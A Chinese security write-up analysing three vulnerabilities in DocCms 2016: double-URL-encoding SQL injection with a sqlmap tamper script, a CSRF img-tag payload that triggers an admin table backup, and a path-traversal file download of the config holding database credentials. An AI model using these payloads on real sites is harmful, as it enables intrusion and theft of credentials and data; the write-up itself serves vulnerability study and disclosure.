0x01 前言
DocCms[音譯:稻殼Cms] ,定位于為企業、站長、開發者、網絡公司、VI策劃設計公司、SEO推廣營銷公司、網站初學者等用戶 量身打造的一款全新企業建站、內容管理系統,服務于企業品牌信息化建設,也適應用個人、門戶網站建設!
0x02 環境搭建
DocCms官網:http://www.doccms.com
程序源碼:DocCms2016
下載地址:https://pan.baidu.com/s/1pLclifL
0x03 SQL注入
代碼分析
在/content/search/index.php中,首先對參數keyword進行非法字符檢測,
進一步追溯checkSqlStr函數,看代碼如何過濾,在/inc/function.php中
checkSqlStr函數對傳入的字符串進行正則匹配,檢測是否函數非法字符。
繼續看在/content/search/index.php中的get_search_result函數:
參數keyword進行非法字符檢測后,進行url解碼,然后拼接到SQL語句中執行。
如果我們傳入雙重url編碼的字符串,將繞過非法字符檢測,然后經urldecode解碼,帶入數據庫中執行,導致SQL注入漏洞存在。
漏洞利用
雙重URLencode編碼繞過,可通過編寫tamper繞過URLencode雙重編碼,tamper腳本如下:
#!/usr/bin/env python
import re
from urllib import quote
from lib.core.data import kb
from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():pass
def tamper(payload, **kwargs):retVal = payloadretVal = quote(quote(retVal)) return retVal
通過SQLMAP加載tamper腳本,獲取數據庫敏感數據
0x04 CSRF
代碼分析
在\doccms\admini\controllers\system\back.php
export函數直接對提交上來的參數tables/sizelimit進行處理,導出sql備份文件,未對訪問來源進行有效驗證,導致數據庫備份模塊存在CSRF漏洞。
漏洞利用
1、構造CSRF漏洞利用代碼,只備份管理員用戶表doc_user:
<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=開始備份數據" width="0" height="0" border="0"/>
2、在網站首頁在線留言提交CSRF漏洞利用代碼:
3、當管理員在后臺查看留言信息時,自動備份數據庫到/doccms/temp/data目錄下:
0x05 任意文件下載
代碼分析
在\doccms\admini\controllers\system\back.php中,
download函數只對文件名進行簡單的判斷,然后把filename拼接到路徑中進行下載,導致網站存在任意文件下載漏洞。
漏洞利用
1、構造url下載全局配置文件獲取敏感信息:http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
?
?2、獲取到數據庫賬號密碼等敏感信息:
?
未完,待續。
?